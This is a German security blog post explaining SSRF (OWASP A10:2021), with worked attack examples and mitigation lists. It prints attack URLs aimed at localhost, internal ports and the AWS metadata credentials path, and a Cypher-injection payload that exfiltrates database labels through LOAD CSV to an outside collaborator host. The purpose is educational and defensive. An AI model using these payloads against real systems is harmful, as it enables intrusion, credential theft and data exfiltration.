A10:2021 – Server-Side Request Forgery (SSRF)

A10:2021 – Server-seitige Anfragefälschung (SSRF)

25. November 2024 Celia Catalán

Beschreibung

Der „Server-Side Request Forgery“ (SSRF)-Angriff ist eine Angriffsart, bei der ein Angreifer die Funktionalität eines Servers missbraucht, um HTTP-Anfragen an nicht autorisierte interne oder externe Ressourcen zu stellen. Im Wesentlichen wird der Server dazu verleitet, im Namen des Angreifers unerwünschte Aktionen auszuführen.

Auswirkungen

Ein Angriff dieser Art kann schwerwiegende Folgen für die Sicherheit einer Webanwendung und der zugrunde liegenden Infrastruktur haben. Zu den möglichen Auswirkungen gehören:

Unautorisierter Zugriff auf interne Ressourcen: Der Angreifer kann auf Systeme und Daten zugreifen, die normalerweise durch Firewalls oder Netzwerkbeschränkungen geschützt sind.

Umgehung von Sicherheitskontrollen: SSRF kann es Angreifern ermöglichen, Sicherheitsmaßnahmen wie Firewalls und Zugriffskontrolllisten zu umgehen.

Exfiltration sensibler Daten: Angreifer können SSRF verwenden, um sensible Informationen aus internen Systemen zu exfiltrieren.

Internes Port-Scannen: SSRF kann verwendet werden, um das interne Netzwerk abzubilden und anfällige Dienste zu entdecken.

Remote-Codeausführung: In extremen Fällen kann SSRF zur Ausführung willkürlichen Codes auf dem kompromittierten Server führen.

Angesichts der Schwere dieser Auswirkungen ist es von entscheidender Bedeutung, dass Entwickler robuste Sicherheitsmaßnahmen implementieren, um SSRF-Angriffe auf ihre Webanwendungen zu verhindern und abzuschwächen.

Praxisbeispiele

1. Zugang zu internen Dienstleistungen

Dies kann es dem Angreifer ermöglichen, auf Systeme und Daten zuzugreifen, die normalerweise durch Firewalls oder Netzwerkbeschränkungen geschützt sind, beispielsweise interne Datenbanken oder Verwaltungsbereiche.

http://vulnerable-app.com/fetch?url=http://localhost:8080/admin

Wenn die Anwendung in diesem Beispiel die bereitgestellte URL nicht ordnungsgemäß validiert, könnte sie eine Anfrage an das interne Administrationspanel auf Port 8080 stellen.

Zusammenfassung

Erkennen Sie eine Abfrage, die über HTTP eine Anfrage an eine externe Ressource stellt.

Modifizieren Sie die Anfrage so, dass der Webserver eine Anfrage an die Loopback-Schnittstelle stellt und so auf Funktionen oder Dienste zugreift, die im Ausland nicht veröffentlicht sind.

Beispiel

Nach der Analyse des Betriebs der geprüften Webseite kann festgestellt werden, dass über HTTP Anfragen an externe Ressourcen gestellt werden.

Sobald dieser mögliche Angriffsvektor identifiziert wurde, wird in einem ersten Erkennungstest festgestellt, ob Anfragen an die Loopback-Schnittstelle gestellt werden können.

Nachdem wir bestätigt haben, dass ein SSRF-Angriff mit diesem Vektor durchgeführt werden kann, versuchen wir, von außen auf eingeschränkte Funktionen zuzugreifen, wie in diesem Beispiel das Entfernen eines Benutzers aus der Anwendung.

Abhilfemaßnahmen

Um den mit dieser Art von Angriffen verbundenen Risiken vorzubeugen, wird empfohlen:

Überprüfen und bereinigen Sie alle Benutzereingaben, insbesondere URLs.

Implementieren Sie Whitelists mit Domänen und zulässigen IP-Adressen.

Verwenden Sie Web Application Firewalls (WAF), um bösartige Anfragen zu filtern.

Konfigurieren Sie Netzwerk-Firewalls richtig, um den Zugriff auf interne Ressourcen einzuschränken.

Implementieren Sie das Prinzip der geringsten Rechte auf Servern und Diensten.

Verwenden Sie VPNs oder virtuelle private Netzwerke, um kritische Ressourcen zu isolieren.

Deaktivieren Sie HTTP-Weiterleitungen, wenn sie nicht erforderlich sind.

Implementieren Sie eine starke Authentifizierung und Autorisierung für alle internen Endpunkte.

Verwenden Sie internes DNS, um Hostnamen aufzulösen, und vermeiden Sie die Verwendung direkter IP-Adressen.

Überwachen und protokollieren Sie alle Netzwerkanfragen, um verdächtige Muster zu erkennen.

2. Scannen interner Ports

Bei diesem Prozess werden Anfragen an verschiedene Ports der internen IP-Adressen gesendet und die Antworten analysiert, um festzustellen, welche Ports geöffnet sind und welche Dienste ausgeführt werden. Mit diesen Informationen könnte der Angreifer potenzielle Ziele für künftige Angriffe identifizieren, beispielsweise Datenbankserver, Administrationspanels oder anfällige Systeme, auf die normalerweise von außen nicht zugegriffen werden kann.

http://vulnerable-app.com/fetch?url=http://127.0.0.1:22

Wenn in diesem Beispiel Port 22 (SSH) geöffnet ist, kann die Reaktion anders ausfallen, als wenn er geschlossen wäre, sodass der Angreifer Dienste aus dem internen Netzwerk abbilden kann.

Zusammenfassung

Erkennen Sie eine Abfrage, die über HTTP eine Anfrage an eine externe Ressource stellt.

Ändern Sie die Anfrage so, dass der Webserver eine Anfrage an interne IP-Adressen und Ports stellt, die nicht nach außen sichtbar sind.

Beobachten Sie die unterschiedlichen Antworten des Servers, um zu erkennen, wann eine IP-Adresse mit offenem Port vorhanden ist und wann nicht.

Beispiel

Nachdem mit dieser Technik ein möglicher Angriffsvektor erkannt wurde, wird versucht, mögliche private Netzwerkbereiche zu identifizieren, auf die vom Server aus zugegriffen werden kann. Dazu wird das Eindringlingsmodul verwendet, um die numerischen Werte der IP-Adressen zu iterieren.

Wie in den Screenshots zu sehen ist, war es durch Ausnutzung der SSRF-Schwachstelle möglich, auf interne Server und Ressourcen zuzugreifen.

Abhilfemaßnahmen

Zur Verhinderung und Eindämmung von SSRF-Angriffen, die auf das Scannen interner IP-Adressen und Ports abzielen, wird die Umsetzung der folgenden Maßnahmen empfohlen:

Implementieren Sie Whitelists mit IP-Adressen und zulässigen Bereichen für interne Anfragen.

Verwenden Sie Web Application Firewalls (WAFs), die so konfiguriert sind, dass sie verdächtige Anforderungsmuster erkennen und blockieren.

Segmentieren Sie das interne Netzwerk, um den Umfang möglicher Scans einzuschränken.

Implementieren Sie das Prinzip der geringsten Rechte auf internen Servern und Diensten.

Nutzen Sie starke Authentifizierung und Autorisierung für alle internen Endpunkte.

Überwachen und protokollieren Sie alle Netzwerkanfragen, um Scanmuster zu erkennen.

Implementieren Sie eine Ratenbegrenzung, um schnelle und automatisierte Scans zu verhindern.

Verwenden Sie Virtual Private Cloud (VPC) in Cloud-Umgebungen, um kritische Ressourcen zu isolieren.

Konfigurieren Sie Sicherheitsgruppen und Zugriffskontrolllisten (ACLs) im Netzwerk korrekt.

Informieren Sie Entwickler über Best Practices für Sicherheit und die mit SSRF verbundenen Risiken.

3. Zugriff auf Metadaten in Cloud-Umgebungen

In Cloud-Umgebungen wie Amazon Web Services (AWS) können Angreifer SSRF-Schwachstellen (Server-Side Request Forgery) ausnutzen, um auf Instanzmetadaten zuzugreifen. Diese Metadaten enthalten wichtige Informationen über die Konfiguration und den Status der ausgeführten Instanz. Ein Beispiel dafür, wie ein Angreifer versuchen könnte, diese Sicherheitslücke auszunutzen, ist die folgende URL:

http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/

Wenn die anfällige Anwendung diese Anfrage ohne entsprechende Vorsichtsmaßnahmen verarbeitet, könnte sie unbeabsichtigt hochsensible Informationen preisgeben. Zu diesen Informationen könnten gehören:

Temporäre AWS-Anmeldeinformationen

IAM-Rollen, die mit der Instanz verbunden sind

Netzwerkkonfigurationsdaten

Benutzerdefinierte Initialisierungsskripte

Die Offenlegung dieser Metadaten könnte schwerwiegende Folgen für die Sicherheit der Cloud-Infrastruktur haben und es Angreifern möglicherweise ermöglichen, ihre Berechtigungen zu erweitern, sich seitlich innerhalb des Netzwerks zu bewegen oder sogar die AWS-Umgebung vollständig zu gefährden. Daher ist es von entscheidender Bedeutung, robuste Sicherheitsmaßnahmen zu implementieren, um diese Art von unbefugtem Zugriff auf die Metadaten von Cloud-Instanzen zu verhindern.

Zusammenfassung

Erkennen Sie eine Abfrage, die über HTTP eine Anfrage an eine externe Ressource stellt.

Ändern Sie die ursprüngliche Anfrage so, dass der Webserver eine Anfrage an Cloud-Serverressourcen stellt, die möglicherweise durch WhiteList eingeschränkt sind, sodass nur der Server darauf zugreifen kann.

Beobachten Sie unterschiedliche Antworten des Servers, um zu erkennen, wann auf in der Cloud gespeicherte Ressourcen zugegriffen werden konnte und wann nicht.

Beispiel

Landschaft

Eine Webanwendung ermöglicht es Benutzern, eine URL einzugeben, um Informationen über eine Website zu erhalten. Die Anwendung sendet eine GET-Anfrage an die angegebene URL und zeigt das Ergebnis an. Allerdings validiert die Anwendung Benutzereingaben nicht ordnungsgemäß.

Ausbeutungsschritte

Der Angreifer stellt fest, dass die Anwendung auf Amazon Web Services (AWS) gehostet wird.
Der Angreifer gibt die folgende URL in das Anwendungseingabefeld ein: http://169.254.169.254/latest/meta-data/
Die Anwendung sendet eine Anfrage an diese interne AWS-IP-Adresse, die den Metadatenendpunkt der EC2-Instanz darstellt.
Infolgedessen gibt die Anwendung vertrauliche Informationen über die EC2-Instanz zurück, wie zum Beispiel:

1. Instanz-ID

2. Region

3. Interner Hostname

4. MAC-Adresse

5. Der Angreifer kann über bestimmte Pfade einen weiteren Drilldown durchführen, z. B.: http://169.254.169.254/latest/meta-data/iam/security-credentials/, um die temporären Sicherheitsanmeldeinformationen der mit der Instanz verknüpften IAM-Rolle zu erhalten.

Schadensbegrenzung

Um diese Art von SSRF-Angriffen zu verhindern:

Eine Whitelist von erlaubten URLs implementieren

Verwenden Sie einen Reverse-Proxy für ausgehende Anfragen

Konfigurieren Sie Firewalls, um den Datenverkehr zu internen IP-Adressen zu blockieren

Implementieren Sie das Prinzip der geringsten Rechte in IAM-Rollen

Verwenden Sie IMDSv2 (Instance Metadata Service Version 2), das Sitzungstoken erfordert

4. Exfiltration von Informationen (Cypher-Injektion)

In diesem Abschnitt wird erläutert, wie es möglich ist, Daten mithilfe von Server-Side Request Forgery-Techniken zu exfiltrieren, nachdem bösartiger Code in Abfragen an die Neo4j-Datenbank eingeschleust wurde.

Neo4j ist eine Open-Source-Grafikdatenbank. Es wird zum Speichern und Abfragen stark vernetzter Daten verwendet und stellt Informationen als Knoten, Beziehungen und Eigenschaften in einer Diagrammstruktur dar, sodass komplexe Abfragen und Datenanalysen effizient durchgeführt werden können.

Zusammenfassung

Erkennen Sie eine Abfrage, über die es möglich ist, Code in die an die Datenbank gestellten Abfragen einzufügen.

Führen Sie Abfragen an die Datenbank durch, um die darin gespeicherten Informationen abzurufen.

Exfiltrieren Sie die über die CSV-Upload-Funktion erhaltenen Informationen über HTTP und führen Sie so eine SSRF-Technik aus.

Beispiel

Nachdem wir die verschiedenen in der Webanwendung gestellten Anfragen analysiert und alle für Injektionen anfälligen Stellen erkannt haben, stellen wir Abfragen an die Datenbank und filtern diese heraus. Ein Beispiel für eine Nutzlast wäre:

.*' | o ] AS OriginalRequest CALL db.labels() YIELD data LOAD CSV FROM 'http:///' + data AS r //

Als nächstes wird jeder Teil der Nutzlast erklärt:

.*' | o ] AS OriginalAnfrage

Dieser erste Teil des Codes schließt die ursprüngliche Abfrage korrekt ab und ermöglicht dem Angreifer, die Abfrage zu verketten.

Rufen Sie db.labels() auf. Ergibt Daten

Die CALL-Klausel wird zum Ausführen einer Unterabfrage verwendet. In diesem Fall wird db.labels() aufgerufen, eine integrierte Prozedur, die eine Liste aller in der Datenbank vorhandenen Labels bereitstellt. Die YIELD-Klausel wiederum speichert die resultierende Liste in der Variablen „data“.

CSV VON „http:///“ + Daten AS r // laden

LOAD CSV ist eine Anweisung, die mithilfe des Schlüsselworts FROM eine CSV-Datei von einem benutzerdefinierten Speicherort lädt. In diesem Fall stellt LOAD CSV eine Anfrage an einen Webserver, der durch die Burp-Collaborator-Funktionalität aktiviert wird, und fügt bei jeder Iteration ein Element aus der „Daten“-Liste hinzu.

Infolgedessen werden mehrere Anfragen an den Burp-Collaborator-Client gesendet, wobei jeweils unterschiedliche Tag-Namen an das Ende der Anfrage angehängt werden.

Der letzte „AS r“-Teil ist enthalten, da die Abfrage ohne ihn ständig fehlschlägt; Laden Sie einfach die CSV-Datei als „r“ hoch.

Die beiden abschließenden Schrägstriche „//“ werden verwendet, um den Rest der Abfrage in derselben Zeile auszukommentieren.

Schadensbegrenzung

In diesem Fall gibt es keine Lösung, um die Datenexfiltration mithilfe der LOAD CSV-Funktion zu verhindern. Die Abhilfemaßnahmen beginnen direkt mit der Vermeidung der Möglichkeit, Angriffe vom Typ „Cypher-Injection“ durchzuführen. Hierzu empfiehlt sich:

Parameter verwenden: Verhindern Sie die Cypher-Injection, indem Sie Parameter verwenden, anstatt Benutzereingaben direkt in Abfragen zu verketten.

Abfragen parametrisieren: Kompilieren Sie Abfragen in ausführbare Pläne, die nicht durch Parameterdaten geändert werden können.

Verwenden Sie APOC-Verfahren sicher: Übergeben Sie bei der Verwendung von APOC weiterhin Parameter, um Sicherheitslücken bei der Zeichenfolgenverkettung zu vermeiden.

Eingaben bereinigen: Wenn eine Parametrisierung nicht möglich ist (z. B. für Knotenbezeichnungen), bereinigen Sie Benutzereingaben, indem Sie Sonderzeichen mit Escapezeichen versehen.

Vermeiden Sie die Rückgabe von Datenbankfehlern: Verwenden Sie generische Fehlermeldungen, um die Offenlegung von Informationen durch fehlerbasierte Injektion zu verhindern.

Implementieren Sie die richtige Escape-Funktion: Verwenden Sie geeignete Escape-Sequenzen für verschiedene Cypher-Typen (String-Literale, Bezeichner).

Eingaben validieren: Überprüfen Sie Benutzereingaben anhand bestimmter Kriterien, achten Sie jedoch auf mögliche Umgehungstechniken.

Seien Sie vorsichtig bei Injektionen zweiter Ordnung: Bereinigen Sie weiterhin gespeicherte Daten, wenn sie in nachfolgenden Abfragen verwendet werden.

Wenden Sie das Prinzip der geringsten Rechte an: Verwenden Sie eine rollenbasierte Zugriffskontrolle, um die potenziellen Auswirkungen erfolgreicher Injektionen zu begrenzen.

Gehen Sie sorgfältig mit Datenimporten um: Seien Sie sich möglicher Schwachstellen beim Import von Daten aus externen Quellen wie CSV-Dateien bewusst.

Zurück zum Blog